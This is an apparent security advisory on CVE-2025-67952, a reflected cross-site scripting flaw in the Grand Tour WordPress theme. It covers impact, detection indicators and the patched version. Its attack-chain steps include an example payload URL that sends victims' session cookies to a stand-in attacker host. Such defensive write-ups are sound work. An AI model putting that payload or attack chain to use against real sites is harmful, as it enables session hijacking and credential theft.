CVE-2025-67952: 
WordPress vulnerability analysis and mitigation

CVE-2025-67952 is a Reflected Cross-Site Scripting (XSS) vulnerability in the ThemeGoods Grand Tour WordPress theme. It affects all versions of the Grand Tour theme prior to 5.6.2 and was reported by researcher João Pedro S Alcântara (Kinorth) on November 6, 2025, with public disclosure on January 20–22, 2026. The vulnerability was assigned a CVSS v3.1 base score of 7.1 (High) by CISA-ADP (Patchstack, NVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Reflected XSS flaw in the Grand Tour WordPress theme. Insufficient sanitization of user-supplied input allows an attacker to inject malicious scripts that are reflected back in the HTTP response and executed in the victim's browser. Exploitation requires no authentication (unauthenticated attacker) but does require user interaction — typically tricking a victim into clicking a crafted malicious link. The vulnerability is network-accessible with low attack complexity (Patchstack).

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session hijacking, credential theft, redirection to malicious sites, defacement, or delivery of further malware payloads to site visitors. The CVSS scope is marked as "Changed," indicating the impact extends beyond the vulnerable component itself to affect other resources such as the victim's browser environment (Patchstack).

No public proof-of-concept exploit code has been identified at this time. The EPSS score is approximately 0.029%, indicating a low current probability of exploitation in the wild. There is no evidence of active in-the-wild exploitation or threat actor attribution, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, Patchstack notes that vulnerabilities of this type are commonly used in mass-exploit campaigns targeting WordPress sites at scale (Patchstack).

1. Reconnaissance: Identify WordPress sites using the Grand Tour theme (versions < 5.6.2) via web crawlers, Wappalyzer, or tools like WPScan that enumerate installed themes.
2. Identify vulnerable parameter: Locate an input parameter within the theme that is reflected unsanitized in the HTTP response (e.g., a search or query parameter in a theme-specific page).
3. Craft malicious URL: Construct a URL containing a reflected XSS payload in the vulnerable parameter, such as https://victim-site.com/?param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver payload: Send the crafted URL to a target victim (e.g., a site administrator or logged-in user) via phishing email, social engineering, or malicious advertisement.
5. Achieve objective: When the victim clicks the link and their browser renders the page, the injected script executes in their browser context, enabling session cookie theft, credential harvesting, or further malicious actions (Patchstack).

• Network: HTTP requests to WordPress pages using the Grand Tour theme containing URL-encoded script tags or JavaScript event handlers (e.g., <script>, onerror=, onload=) in query parameters; outbound connections from victim browsers to unknown external domains shortly after visiting the site.
• Logs: Web server access logs showing GET requests with suspicious encoded payloads (e.g., %3Cscript%3E, javascript:) in query strings targeting Grand Tour theme pages.
• Browser/Client: Unexpected redirects or pop-ups experienced by users visiting the affected WordPress site; reports of session cookies being invalidated or accounts accessed from unusual locations after visiting the site.

The vendor ThemeGoods has released version 5.6.2 of the Grand Tour theme, which patches this vulnerability. Site administrators should update the Grand Tour theme to version 5.6.2 or later immediately. As an interim measure, Patchstack has issued a virtual patching/mitigation rule for subscribers to block exploitation attempts until the theme can be updated (Patchstack).

Wordfence included this vulnerability in their weekly WordPress vulnerability report covering January 19–25, 2026, highlighting it as part of broader WordPress ecosystem security monitoring. The vulnerability was reported through Patchstack's Active Vulnerability Disclosure Program (VDP) and credited to researcher João Pedro S Alcântara (Kinorth) (Wordfence, Patchstack).